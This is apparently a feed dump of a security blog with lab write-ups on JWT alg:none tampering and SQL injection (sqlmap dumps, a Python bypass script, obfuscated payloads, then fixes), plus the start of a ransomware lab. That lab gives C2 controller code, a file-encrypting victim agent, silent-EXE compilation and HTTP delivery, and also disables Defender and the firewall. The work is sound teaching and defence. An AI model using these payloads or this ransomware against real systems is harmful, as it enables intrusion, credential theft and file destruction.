&lt;li&gt;Changed the header: &lt;code&gt;&quot;alg&quot;: &quot;HS256&quot;&lt;/code&gt; → &lt;code&gt;&quot;alg&quot;: &quot;none&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Removed the signature (set to empty string)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The vulnerable server accepts tokens with &lt;code&gt;alg: none&lt;/code&gt; because it doesn&apos;t enforce signature verification.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/7.DODwrwlM_25gyV.webp&quot; alt=&quot;jwt.io showing tampered JWT with role:admin and alg:none&quot;&gt;
&lt;em&gt;JWT tampered — role escalated to admin, signature bypassed with alg:none&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Replay &amp;#x26; Mitigate&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;curl -i http://192.168.91.128:5000/dashboard \
  -H &quot;Authorization: Bearer &amp;#x3C;tampered_token&gt;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Vulnerable server:&lt;/strong&gt; accepted the tampered token → returned admin dashboard.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;After applying the fix:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;jwt.decode(token, SECRET, algorithms=[&quot;HS256&quot;],
           options={&quot;verify_signature&quot;: True})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Re-replaying the tampered token now returns &lt;strong&gt;403 Invalid Token&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/8.C5BHi2xS_Z1ymGRr.webp&quot; alt=&quot;Demo server rejecting tampered JWT with 403&quot;&gt;
&lt;em&gt;Mitigation applied — tampered JWT rejected with 403 Invalid Token&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Key Takeaways&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Red Team:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A session cookie without &lt;code&gt;HttpOnly&lt;/code&gt;/&lt;code&gt;Secure&lt;/code&gt; over HTTP can be stolen passively with Wireshark and replayed in seconds with 10 lines of Python&lt;/li&gt;
&lt;li&gt;JWT &lt;code&gt;alg: none&lt;/code&gt; attacks are trivial — any token signed with &quot;none&quot; bypasses signature checks on vulnerable implementations&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Blue Team:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Always set &lt;code&gt;Secure&lt;/code&gt; + &lt;code&gt;HttpOnly&lt;/code&gt; on session cookies&lt;/li&gt;
&lt;li&gt;Always serve authenticated pages over HTTPS — &lt;code&gt;Secure&lt;/code&gt; is meaningless without it&lt;/li&gt;
&lt;li&gt;For JWT: always explicitly whitelist allowed algorithms (&lt;code&gt;algorithms=[&quot;HS256&quot;]&lt;/code&gt;) — never accept &lt;code&gt;none&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Session IDs should be regenerated after login to prevent fixation attacks&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="/_astro/session-hijacking.37_zWJen.png"/><enclosure url="/_astro/session-hijacking.37_zWJen.png"/></item><item><title>SQL Injection: sqlmap &amp; Parameterized Queries</title><link>https://zy0ud.me/blog/eh2-lab3-sql-injection-sqlmap-defense</link><guid isPermaLink="true">https://zy0ud.me/blog/eh2-lab3-sql-injection-sqlmap-defense</guid><description>This lab simulates a full SQL injection attack chain against a real ASP.NET web application running on IIS with a Microsoft SQL Server backend — then…</description><pubDate>Fri, 15 May 2026 07:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { Aside } from &apos;astro-pure/user&apos;&lt;/p&gt;
&lt;h2&gt;Overview&lt;/h2&gt;
&lt;p&gt;This lab simulates a full SQL injection attack chain against a real ASP.NET web application running on IIS with a Microsoft SQL Server backend — then switches to blue team to implement proper defenses. The vulnerable app is deployed intentionally to demonstrate classic SQLi, and then patched using parameterized queries.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Environment:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Kali Linux (Attacker):&lt;/strong&gt; &lt;code&gt;192.168.0.101&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Windows Server 2022 (Victim/Server):&lt;/strong&gt; &lt;code&gt;192.168.0.102&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stack:&lt;/strong&gt; IIS + ASP.NET 4.8 + SQL Server Express (SQLEXPRESS) + SSMS&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;Task 1: Environment Setup &amp;#x26; Connectivity&lt;/h2&gt;
&lt;p&gt;Disabled Windows Defender and Firewall on the Windows Server before starting:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;Set-MpPreference -DisableRealtimeMonitoring $true
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
Get-NetFirewallProfile | Format-Table Name, Enabled
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Verified bidirectional connectivity:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Kali
ping -c 4 192.168.0.102
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Windows
ping 192.168.0.101
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/Task_1_kali.CYryAhsD_yzNmf.webp&quot; alt=&quot;Kali connectivity verification&quot;&gt;
&lt;em&gt;Kali pinging Windows Server — connectivity confirmed&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/Task_1_win.A3xIi15P_Z15S0c5.webp&quot; alt=&quot;Windows connectivity verification&quot;&gt;
&lt;em&gt;Windows Server pinging Kali — Defender and firewall disabled&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Task 2: Install IIS and ASP.NET&lt;/h2&gt;
&lt;p&gt;On Windows Server, installed the web stack via Server Manager:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Web Server (IIS)&lt;/li&gt;
&lt;li&gt;ASP.NET 4.8&lt;/li&gt;
&lt;li&gt;.NET Framework 4.8 Features&lt;/li&gt;
&lt;li&gt;ISAPI Extensions and ISAPI Filters&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Verified by browsing to &lt;code&gt;http://localhost&lt;/code&gt; — the default IIS page appeared.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/Task_2a.BqqiHa-x_ZYN0tT.webp&quot; alt=&quot;IIS default homepage in browser&quot;&gt;
&lt;em&gt;IIS default page — web server running&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/Task_2b.CWk7DdKY_Z1KvNVf.webp&quot; alt=&quot;Server Manager showing installed IIS roles&quot;&gt;
&lt;em&gt;IIS + ASP.NET roles confirmed in Server Manager&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Task 3: SQL Server Setup&lt;/h2&gt;
&lt;p&gt;Installed SQL Server Express and SSMS, then:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Connected to &lt;code&gt;localhost\SQLEXPRESS&lt;/code&gt; using SQL Server Authentication&lt;/li&gt;
&lt;li&gt;Created database &lt;code&gt;SecureDB&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Created login &lt;code&gt;webuser&lt;/code&gt; / &lt;code&gt;StrongPassw0rd!&lt;/code&gt; mapped to SecureDB with &lt;code&gt;db_owner&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Created and populated the &lt;code&gt;Users&lt;/code&gt; table:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;USE SecureDB;
GO

CREATE TABLE Users (
    Id INT PRIMARY KEY IDENTITY(1,1),
    Username VARCHAR(50),
    Password VARCHAR(50)
);

INSERT INTO Users (Username, Password) VALUES
(&apos;admin&apos;, &apos;admin123&apos;),
(&apos;user1&apos;, &apos;pass1&apos;),
(&apos;user2&apos;, &apos;pass2&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/Task_3a.DNpXe8sk_Z2jcjfJ.webp&quot; alt=&quot;SSMS showing SecureDB database&quot;&gt;
&lt;em&gt;SSMS connected — SecureDB created&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/Task_3b.bRyXejO6_ZwmmHe.webp&quot; alt=&quot;Users table with inserted data&quot;&gt;
&lt;em&gt;Users table populated with test credentials&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/Task_3c.D2YOlDHO_ZNHHhw.webp&quot; alt=&quot;webuser login properties mapped to SecureDB&quot;&gt;
&lt;em&gt;webuser mapped to SecureDB with db_owner role&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Task 4: Deploying the Vulnerable ASP.NET App&lt;/h2&gt;
&lt;p&gt;Created &lt;code&gt;C:\inetpub\wwwroot\VulnerableApp\Login.aspx&lt;/code&gt; — a deliberately vulnerable login page that concatenates user input directly into a SQL query with no sanitization:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-csharp&quot;&gt;// VULNERABLE — never do this in production
string query = &quot;SELECT * FROM Users WHERE Username=&apos;&quot; + username + &quot;&apos; AND Password=&apos;&quot; + password + &quot;&apos;&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Added the app in IIS Manager → Default Web Site → Add Application (Alias: &lt;code&gt;VulnerableApp&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Browsed to &lt;code&gt;http://localhost/VulnerableApp/Login.aspx&lt;/code&gt; and tested:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/Task_4a.DSumT-zI_Z1G3wdU.webp&quot; alt=&quot;Login.aspx form displayed in browser&quot;&gt;
&lt;em&gt;Vulnerable login form live on IIS&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/Task_4b.ChU8erLx_Z1GT3c7.webp&quot; alt=&quot;Successful login with valid credentials&quot;&gt;
&lt;em&gt;Login Successful with admin:admin123&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/Task_4c.DpGpLlsU_Z14WxPW.webp&quot; alt=&quot;Failed login with wrong credentials&quot;&gt;
&lt;em&gt;Invalid Login — baseline behavior confirmed&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/Task_4d.Jdz5rrcx_ZevhVU.webp&quot; alt=&quot;Login.aspx vulnerable code in Notepad&quot;&gt;
&lt;em&gt;The raw string concatenation clearly visible in the source&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Task 5: SQL Injection Attacks from Kali&lt;/h2&gt;
&lt;h3&gt;5a. Automated Attack with sqlmap&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sqlmap -u &quot;http://192.168.0.102/VulnerableApp/Login.aspx&quot; \
  --data=&quot;username=admin&amp;#x26;password=admin&quot; \
  --method=POST \
  --dbms=mssql \
  --risk=3 --level=5 --batch --dump
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Key sqlmap flags:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;| Flag | Purpose |
|---|---|
| &lt;code&gt;--dbms=mssql&lt;/code&gt; | Optimize payloads for Microsoft SQL Server |
| &lt;code&gt;--risk=3&lt;/code&gt; | Include high-risk payloads |
| &lt;code&gt;--level=5&lt;/code&gt; | Deep and aggressive testing |
| &lt;code&gt;--batch&lt;/code&gt; | Auto-confirm all prompts |
| &lt;code&gt;--dump&lt;/code&gt; | Extract database contents |&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/Task_5a.B0GhJ0um_Z1UbDuR.webp&quot; alt=&quot;sqlmap detecting SQL injection vulnerability&quot;&gt;
&lt;em&gt;sqlmap confirms the parameter is injectable&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/Task_5b.DOTw1E1u_1xtNa8.webp&quot; alt=&quot;sqlmap dumping database contents&quot;&gt;
&lt;em&gt;Users table extracted — plaintext credentials visible&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;5b. Manual Python SQLi Script&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import requests

url = &apos;http://192.168.0.102/VulnerableApp/Login.aspx&apos;
payload = &quot;admin&apos;/**/OR/**/1=1--&quot;
r = requests.post(url, data={&quot;username&quot;: payload, &quot;password&quot;: &quot;pass&quot;})
print(&quot;[+] Response:&quot;, r.text[:200])
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The payload &lt;code&gt;admin&apos;/**/OR/**/1=1--&lt;/code&gt; uses inline comments (&lt;code&gt;/**/&lt;/code&gt;) to obfuscate the &lt;code&gt;OR&lt;/code&gt; keyword, bypassing basic keyword filters while still evaluating to &lt;code&gt;TRUE&lt;/code&gt; and authenticating as any user.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/Task_5c.D6lwwE7i_A3HYq.webp&quot; alt=&quot;Python script output showing successful bypass&quot;&gt;
&lt;em&gt;Login Successful returned — authentication bypassed without valid credentials&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Task 6: Defensive Measures&lt;/h2&gt;
&lt;h3&gt;6.1 Parameterized Queries&lt;/h3&gt;
&lt;p&gt;The fix is replacing string concatenation with parameterized queries — user input never touches the SQL string:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-csharp&quot;&gt;// SECURE — parameterized query
string query = &quot;SELECT * FROM Users WHERE Username = @u AND Password = @p&quot;;
SqlCommand cmd = new SqlCommand(query, conn);
cmd.Parameters.AddWithValue(&quot;@u&quot;, username);
cmd.Parameters.AddWithValue(&quot;@p&quot;, password);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With parameterized queries, &lt;code&gt;admin&apos;/**/OR/**/1=1--&lt;/code&gt; is treated as a literal string, not SQL syntax — the login returns &quot;Invalid Login&quot; even with injection payloads.&lt;/p&gt;
&lt;h3&gt;6.2 SQL Server Hardening&lt;/h3&gt;
&lt;p&gt;Removed dangerous permissions from &lt;code&gt;webuser&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;REVOKE ALTER, DROP, EXEC FROM webuser;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;6.3 IIS URL Rewrite Rules&lt;/h3&gt;
&lt;p&gt;Installed the URL Rewrite Module and created a rule to block requests containing &lt;code&gt;UNION&lt;/code&gt;, &lt;code&gt;&apos; OR&lt;/code&gt;, &lt;code&gt;--&lt;/code&gt;, &lt;code&gt;DELETE&lt;/code&gt;, &lt;code&gt;EXEC&lt;/code&gt;. Also enabled Request Filtering to block &lt;code&gt;.exe&lt;/code&gt;, &lt;code&gt;.bat&lt;/code&gt;, &lt;code&gt;.ps1&lt;/code&gt;, and &lt;code&gt;PUT&lt;/code&gt;/&lt;code&gt;DELETE&lt;/code&gt; HTTP methods.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/Task_6a.CT_DvzkF_1Uwvv2.webp&quot; alt=&quot;Modified Login.aspx with parameterized queries&quot;&gt;
&lt;em&gt;Patched code — parameterized queries replacing string concatenation&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/Task_6b.Drgqn8t6_29Pmyx.webp&quot; alt=&quot;SQL injection attempt blocked after defenses&quot;&gt;
&lt;em&gt;Same injection payload now returns &quot;Invalid Login&quot; — attack neutralized&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Task 7: Monitoring and Alerts&lt;/h2&gt;
&lt;p&gt;Enabled IIS W3C logging (IIS Manager → Logging → W3C format → Apply), then checked:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Event Viewer → Windows Logs → Application&lt;/strong&gt; for SQL Server errors&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IIS logs&lt;/strong&gt; for unusual POST patterns targeting Login.aspx&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/Task_7a.Bk7jRUQw_ZHN93o.webp&quot; alt=&quot;IIS log / Event Viewer showing SQLi trace&quot;&gt;
&lt;em&gt;Attack trace visible in logs — repeated POST requests with injection characters&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Task 8 (Bonus): Obfuscated SQLi Bypass&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt; &lt;code&gt;admin&apos;/**/OR/**/1=1--&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This bypasses keyword-based filters by inserting SQL inline comments (&lt;code&gt;/**/&lt;/code&gt;) between the &lt;code&gt;OR&lt;/code&gt; keyword. A naive filter looking for the literal string &lt;code&gt;OR&lt;/code&gt; won&apos;t match &lt;code&gt;/**/OR/**/&lt;/code&gt; — but SQL Server strips those comments during parsing and executes the underlying logic.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;payload = &quot;admin&apos;/**/OR/**/1=1--&quot;
r = requests.post(url, data={&quot;username&quot;: payload, &quot;password&quot;: &quot;pass&quot;})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/Task_8a.TCnwxzQi_Z1q80Hi.webp&quot; alt=&quot;Obfuscated SQLi in browser — login bypassed&quot;&gt;
&lt;em&gt;Login Successful — obfuscated payload bypasses basic keyword filter&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/Task_8b.BsWktTSh_2dFwrg.webp&quot; alt=&quot;Python script with obfuscated payload succeeding&quot;&gt;
&lt;em&gt;Same bypass working via Python script&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Key Takeaways&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Red Team:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;sqlmap fully automated the extraction — database schema, table names, and plaintext passwords in one command&lt;/li&gt;
&lt;li&gt;Manual Python injection confirmed the same bypass works without any tooling&lt;/li&gt;
&lt;li&gt;Obfuscated payloads (&lt;code&gt;/**/OR/**/&lt;/code&gt;) evade basic string-match filters trivially&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Blue Team:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Parameterized queries are the only real fix&lt;/strong&gt; — URL Rewrite rules and keyword filters are bypassable, parameterized queries are not&lt;/li&gt;
&lt;li&gt;IIS logs + Event Viewer provide a clear forensic trail of injection attempts&lt;/li&gt;
&lt;li&gt;Principle of least privilege matters: &lt;code&gt;webuser&lt;/code&gt; with &lt;code&gt;db_owner&lt;/code&gt; gave the attacker far more access than a login page needs&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="/_astro/SQL-Injection.glP-3wdg.png"/><enclosure url="/_astro/SQL-Injection.glP-3wdg.png"/></item><item><title>Python Ransomware: AES C2 + Fernet + Rust</title><link>https://zy0ud.me/blog/eh2-lab2-ransomware-aes-fernet-rust</link><guid isPermaLink="true">https://zy0ud.me/blog/eh2-lab2-ransomware-aes-fernet-rust</guid><description>This lab simulates a RAT-based ransomware attack in a controlled Host-Only VM environment. The attack chain covers: building an encrypted C2 channel,…</description><pubDate>Fri, 08 May 2026 07:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { Aside } from &apos;astro-pure/user&apos;&lt;/p&gt;
&lt;h2&gt;Overview&lt;/h2&gt;
&lt;p&gt;This lab simulates a &lt;strong&gt;RAT-based ransomware attack&lt;/strong&gt; in a controlled Host-Only VM environment. The attack chain covers: building an encrypted C2 channel, remotely deploying a ransomware executable via HTTP, encrypting victim files with Fernet, dropping a ransom note, key exchange for decryption, and blue team detection/mitigation. The lab also includes a &lt;strong&gt;Rust implementation&lt;/strong&gt; of an encrypted TCP C2 channel using AES-256-GCM.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Environment:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Kali Linux (Attacker):&lt;/strong&gt; &lt;code&gt;192.168.0.101&lt;/code&gt; — Host-Only&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Windows Server 2022 (Victim):&lt;/strong&gt; &lt;code&gt;192.168.0.102&lt;/code&gt; — Host-Only&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;C2 Port:&lt;/strong&gt; &lt;code&gt;8008/TCP&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;Section 1: Environment Setup &amp;#x26; Network Configuration&lt;/h2&gt;
&lt;p&gt;Same setup as Lab 1 — static IPs on a Host-Only network, verified bidirectional connectivity and port reachability.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Kali
sudo ip addr add 192.168.0.101/24 dev eth0
ping -c 4 192.168.0.102
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Windows
New-NetIPAddress -InterfaceAlias &apos;Ethernet&apos; -IPAddress 192.168.0.102 -PrefixLength 24
Test-NetConnection -ComputerName 192.168.0.101 -Port 8008
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/1a.D_eMIPCv_ZKVXm.webp&quot; alt=&quot;Kali IP configuration&quot;&gt;
&lt;em&gt;Kali static IP 192.168.0.101 assigned&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/1b.CeHouYjh_ZfrfdP.webp&quot; alt=&quot;Windows IP configuration&quot;&gt;
&lt;em&gt;Windows Server static IP 192.168.0.102 assigned&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/1c.DCKQtHR7_Z5DwkL.webp&quot; alt=&quot;Ping from Kali to Windows&quot;&gt;
&lt;em&gt;Bidirectional connectivity confirmed&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/1d.DkCxz0px_28c1yp.webp&quot; alt=&quot;Ping from Windows to Kali&quot;&gt;
&lt;em&gt;Port 8008 reachable from victim&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Section 2: Installing Dependencies&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Kali:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo apt update &amp;#x26;&amp;#x26; sudo apt install -y python3 python3-pip
pip3 install pycryptodome pyautogui psutil pyinstaller cryptography
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Windows:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;pip install pycryptodome pyautogui psutil pyinstaller cryptography
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The key addition over Lab 1 is the &lt;code&gt;cryptography&lt;/code&gt; library — specifically &lt;code&gt;Fernet&lt;/code&gt; — which handles the &lt;strong&gt;file encryption layer&lt;/strong&gt; (separate from the AES-EAX command channel).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/2a.BlSHMwuP_1Ye9zR.webp&quot; alt=&quot;pip list on Kali&quot;&gt;
&lt;em&gt;All required packages confirmed on Kali&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/2b.DpyhbKJ4_Z2mKYO1.webp&quot; alt=&quot;pip list on Windows&quot;&gt;
&lt;em&gt;All required packages confirmed on Windows&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Section 3: The Ransomware Scripts&lt;/h2&gt;
&lt;h3&gt;Architecture&lt;/h3&gt;
&lt;p&gt;Two layers of encryption run in parallel:&lt;/p&gt;
&lt;p&gt;| Layer | Algorithm | Purpose |
|---|---|---|
| &lt;strong&gt;C2 channel&lt;/strong&gt; | AES-EAX | Encrypt/decrypt commands between attacker and victim |
| &lt;strong&gt;File encryption&lt;/strong&gt; | Fernet (AES-128-CBC + HMAC) | Encrypt victim files on disk |&lt;/p&gt;
&lt;h3&gt;Attacker Controller — &lt;code&gt;hacker_ransom.py&lt;/code&gt; (Kali)&lt;/h3&gt;
&lt;p&gt;Listens on port 8008, sends encrypted commands, receives encrypted responses. Supported commands:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;encrypt          → triggers file encryption on victim
ransom_note      → drops READ_ME.txt in target directory
decrypt &amp;#x3C;key&gt;    → sends key to restore files if correct
download &amp;#x3C;path&gt;  → pulls a file from the victim
stop             → closes the session
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;KEY = b&apos;0123456789abcdef0123456789abcdef&apos;  # 32-byte shared AES key

def encrypt_message(message):
    cipher = AES.new(KEY, AES.MODE_EAX)
    ct, _ = cipher.encrypt_and_digest(message.encode())
    return base64.b64encode(cipher.nonce + ct).decode()

def decrypt_message(encrypted):
    data = base64.b64decode(encrypted)
    cipher = AES.new(KEY, AES.MODE_EAX, nonce=data[:16])
    return cipher.decrypt(data[16:]).decode()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Victim Agent — &lt;code&gt;ransom.py&lt;/code&gt; (Windows)&lt;/h3&gt;
&lt;p&gt;Connects back to Kali, decrypts and executes commands. Key functions:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def generate_fernet_key():
    return Fernet.generate_key()

def encrypt_files(target_dir, fernet_key):
    fernet = Fernet(fernet_key)
    for root, dirs, files in os.walk(target_dir):
        for file in files:
            if file in [&quot;READ_ME.txt&quot;, &quot;ransom_key.txt&quot;]:
                continue
            # read → encrypt → overwrite
            ...

def drop_ransom_note(target_dir, ransom_text):
    note_path = os.path.join(target_dir, &quot;READ_ME.txt&quot;)
    with open(note_path, &quot;w&quot;) as note:
        note.write(ransom_text)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Target directory:&lt;/strong&gt; &lt;code&gt;C:\Users\Public\Documents&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Key storage:&lt;/strong&gt; the Fernet key is saved to &lt;code&gt;ransom_key.txt&lt;/code&gt; on the victim after encryption. The attacker retrieves it via &lt;code&gt;download ransom_key.txt&lt;/code&gt; and sends it back with &lt;code&gt;decrypt &amp;#x3C;key&gt;&lt;/code&gt; to restore files.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/3a.C23J1INI_ZOvj3X.webp&quot; alt=&quot;hacker_ransom.py first 15 lines on Kali&quot;&gt;
&lt;em&gt;Attacker controller script — AES-EAX channel setup visible&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/3b.BpnW_hlk_fWSek.webp&quot; alt=&quot;ransom.py on Windows&quot;&gt;
&lt;em&gt;Victim ransomware script confirmed in directory&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Section 4: Remote Deployment &amp;#x26; Execution&lt;/h2&gt;
&lt;h3&gt;Step 1: Compile to Silent EXE (Windows)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;cd C:\Scripts
pyinstaller --onefile --noconsole --hidden-import=cryptography ransom.py
# Output: dist\ransom.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;--hidden-import=cryptography&lt;/code&gt; flag is required because PyInstaller doesn&apos;t automatically detect the Fernet import in some configurations.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/4a.7rDwfUZM_Z1LrUL4.webp&quot; alt=&quot;PyInstaller output&quot;&gt;
&lt;em&gt;ransom.exe compiled successfully&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/4b.PKn9hAty_Z2sEAud.webp&quot; alt=&quot;dist\ folder showing ransom.exe&quot;&gt;
&lt;em&gt;Executable confirmed in dist\ directory&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Step 2: Serve via HTTP (Kali)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;mkdir ~/ransomware
cp ~/ransom.exe ~/ransomware/
cd ~/ransomware
python3 -m http.server 8080
&lt;/code&gt;&lt;/pre&gt;
